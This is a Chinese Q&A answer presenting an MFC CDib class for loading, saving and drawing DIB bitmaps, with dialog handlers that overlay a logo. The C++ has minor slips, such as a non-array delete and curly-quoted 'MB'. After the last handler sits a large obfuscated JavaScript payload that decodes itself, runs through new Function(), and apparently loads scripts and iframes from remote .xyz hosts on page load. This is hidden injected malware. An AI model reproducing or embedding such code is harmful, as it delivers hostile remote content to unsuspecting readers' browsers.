推荐回答(1个)
VC里的类
Visual C++ MFC中没有提供一个专门的类来处理DIB位图,因此,为了方便地使用位图文件,我们有必要派生一个CDib类。类的源代码如下:
(1) CDib类的声明
// DIB.h:类CDib声明头文件
#ifndef __DIB_H__
#define __DIB_H__
#include
class CDib
{
public:
CDib();
~CDib();
BOOL Load( const char * );
BOOL Save( const char * );
BOOL Draw( CDC *, int nX = 0, int nY = 0, int nWidth = -1, int nHeight = -1, int mode = SRCCOPY);
BOOL SetPalette( CDC * );
private:
CPalette m_Palette;
unsigned char *m_pDib, *m_pDibBits;
DWORD m_dwDibSize;
BITMAPINFOHEADER *m_pBIH;
RGBQUAD *m_pPalette;
int m_nPaletteEntries;
};
#endif
(2) CDib类的实现
// DIB.cpp:类CDib实现文件
#include "stdafx.h"
#include "DIB.h"
CDib::CDib()
{
m_pDib = NULL;
}
CDib::~CDib()
{
// 如果位图已经被加载,释放内存
if (m_pDib != NULL)
delete []m_pDib;
}
下面这个函数非常重要,其功能为加载位图,类似于CBitmap类的LoadBitmap函数:
BOOL CDib::Load(const char *pszFilename)
{
CFile cf;
// 打开位图文件
if (!cf.Open(pszFilename, CFile::modeRead))
return (FALSE);
// 获得位图文件大小,并减去BITMAPFILEHEADER的长度
DWORD dwDibSize;
dwDibSize = cf.GetLength() - sizeof(BITMAPFILEHEADER);
// 为DIB位图分配内存
unsigned char *pDib;
pDib = new unsigned char[dwDibSize];
if (pDib == NULL)
return (FALSE);
BITMAPFILEHEADER BFH;
// 读取位图文件数据
try
{
// 文件格式是否正确有效
if ( cf.Read(&BFH, sizeof(BITMAPFILEHEADER)) != sizeof(BITMAPFILEHEADER) ||
BFH.bfType != ’MB’ || cf.Read(pDib, dwDibSize) != dwDibSize)
{
delete []pDib;
return (FALSE);
}
}
catch (CFileException *e)
{
e->Delete();
delete []pDib;
return (FALSE);
}
// delete先前加载的位图
if (m_pDib != NULL)
delete m_pDib;
// 将临时Dib数据指针和Dib大小变量赋给类成员变量
m_pDib = pDib;
m_dwDibSize = dwDibSize;
// 为相应类成员变量赋BITMAPINFOHEADER和调色板指针
m_pBIH = (BITMAPINFOHEADER*)m_pDib;
m_pPalette = (RGBQUAD*) &m_pDib[sizeof(BITMAPINFOHEADER)];
// 计算调色板中实际颜色数量
m_nPaletteEntries = 1 << m_pBIH->biBitCount;
if (m_pBIH->biBitCount > 8)
m_nPaletteEntries = 0;
else if (m_pBIH->biClrUsed != 0)
m_nPaletteEntries = m_pBIH->biClrUsed;
// 为相应类成员变量赋image data指针
m_pDibBits = &m_pDib[sizeof(BITMAPINFOHEADER) + m_nPaletteEntries * sizeof (RGBQUAD)];
// delete先前的调色板
if (m_Palette.GetSafeHandle() != NULL)
m_Palette.DeleteObject();
// 如果位图中存在调色板,创建LOGPALETTE 及CPalette
if (m_nPaletteEntries != 0)
{
LOGPALETTE *pLogPal = (LOGPALETTE*)new char[sizeof(LOGPALETTE) + m_nPaletteEntries *sizeof(PALETTEENTRY)];
if (pLogPal != NULL)
{
pLogPal->palVersion = 0x300;
pLogPal->palNumEntries = m_nPaletteEntries;
for (int i = 0; i < m_nPaletteEntries; i++)
{
pLogPal->palPalEntry[i].peRed = m_pPalette[i].rgbRed;
pLogPal->palPalEntry[i].peGreen = m_pPalette[i].rgbGreen;
pLogPal->palPalEntry[i].peBlue = m_pPalette[i].rgbBlue;
}
//创建CPalette并释放LOGPALETTE的内存
m_Palette.CreatePalette(pLogPal);
delete []pLogPal;
}
}
return (TRUE);
}
//函数功能:保存位图入BMP文件
BOOL CDib::Save(const char *pszFilename)
{
if (m_pDib == NULL)
return (FALSE);
CFile cf;
if (!cf.Open(pszFilename, CFile::modeCreate | CFile::modeWrite))
return (FALSE);
try
{
BITMAPFILEHEADER BFH;
memset(&BFH, 0, sizeof(BITMAPFILEHEADER));
BFH.bfType = ’MB’;
BFH.bfSize = sizeof(BITMAPFILEHEADER) + m_dwDibSize;
BFH.bfOffBits = sizeof(BITMAPFILEHEADER) +
sizeof(BITMAPINFOHEADER) + m_nPaletteEntries *sizeof(RGBQUAD);
cf.Write(&BFH, sizeof(BITMAPFILEHEADER));
cf.Write(m_pDib, m_dwDibSize);
}
catch (CFileException *e)
{
e->Delete();
return (FALSE);
}
return (TRUE);
}
下面这个函数也非常重要,其功能为在pDC指向的CDC中绘制位图,起点坐标为(nX,nY),绘制宽度和高度为nWidth、nHeight,最后一个参数是光栅模式:
BOOL CDib::Draw(CDC *pDC, int nX, int nY, int nWidth, int nHeight, int mode)
{
if (m_pDib == NULL)
return (FALSE);
// 获取位图宽度和高度赋值
if (nWidth == - 1)
nWidth = m_pBIH->biWidth;
if (nHeight == - 1)
nHeight = m_pBIH->biHeight;
// 绘制位图
StretchDIBits(pDC->m_hDC, nX, nY, nWidth, nHeight, 0, 0, m_pBIH->biWidth, m_pBIH->biHeight, m_pDibBits, (BITMAPINFO*)m_pBIH, BI_RGB, mode);
return (TRUE);
}
//函数功能:设置调色板
BOOL CDib::SetPalette(CDC *pDC)
{
if (m_pDib == NULL)
return (FALSE);
// 检查当前是否有一个调色板句柄,对于大于256色的位图,为NULL
if (m_Palette.GetSafeHandle() == NULL)
return (TRUE);
// 选择调色板,接着实施之,最后恢复老的调色板
CPalette *pOldPalette;
pOldPalette = pDC->SelectPalette(&m_Palette, FALSE);
pDC->RealizePalette();
pDC->SelectPalette(pOldPalette, FALSE);
return (TRUE);
}
从整个CDib类的代码中我们可以看出,DIB位图的显示需遵循如下步骤:
(1)读取位图,本类中使用pDib = new unsigned char[dwDibSize]为位图中的信息分配内存,另一种方法是调用API函数CreateDIBSection,譬如:
m_hBitmap = ::CreateDIBSection(pDC->GetSafeHdc(),
(LPBITMAPINFO) m_lpBMPHdr, DIB_RGB_COLORS,
(LPVOID*) &m_lpDIBits, NULL, 0);
m_hBitmap定义为:
HBITMAP m_hBitmap;
(2)根据读取的位图信息,计算出调色板大小,然后创建调色板;
(3)调用CDib::SetPalette( CDC *pDC )设置调色板,需要用到CDC::SelectPalette及CDC::RealizePalette两个函数;
(4)调用CDib::Draw(CDC *pDC, int nX, int nY, int nWidth, int nHeight, int mode)函数绘制位图。在此函数中,真正发挥显示位图作用的是对StretchDIBits API函数的调用。StretchDIBits函数具有缩放功能,其最后一个参数也是光栅操作的模式。
下面给出DIB位图的打开及显示并在其中加入天极网logo的函数源代码。"DIB位图"父菜单下"打开"子菜单的单击事件消息处理函数为(其功能为打开位图并显示之):
void CBitMapExampleDlg::OnOpendibpic()
{
// 弹出文件对话框,让用户选择位图文件
CFileDialog fileDialog(TRUE, "*.BMP", NULL, NULL,"位图文件(*.BMP)|*.bmp;*.BMP|");
if (IDOK == fileDialog.DoModal())
{
// 加载位图并显示之
CDib dib;
if (dib.Load(fileDialog.GetPathName()))
{
CClientDC dc(this);
dib.SetPalette(&dc);
dib.Draw(&dc);
}
}
}
"DIB位图"父菜单下"标记"子菜单的单击事件消息处理函数为(其功能为给位图加上天极网logo):
void CBitMapExampleDlg::OnMarkDibpic()
{
// 弹出文件对话框,让用户选择标记logo
CFileDialog fileDialog(TRUE, "*.BMP", NULL, NULL, "标记位图文件(*.BMP)|*.bmp;*.BMP|");
if (IDOK == fileDialog.DoModal())
{
// 加载标记logo位图并与目标位图相与
CDib dib;
if (dib.Load(fileDialog.GetPathName()))
{
CClientDC dc(this);
dib.SetPalette(&dc);
dib.Draw(&dc, 0, 0, - 1, - 1, SRCAND);
}
}
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();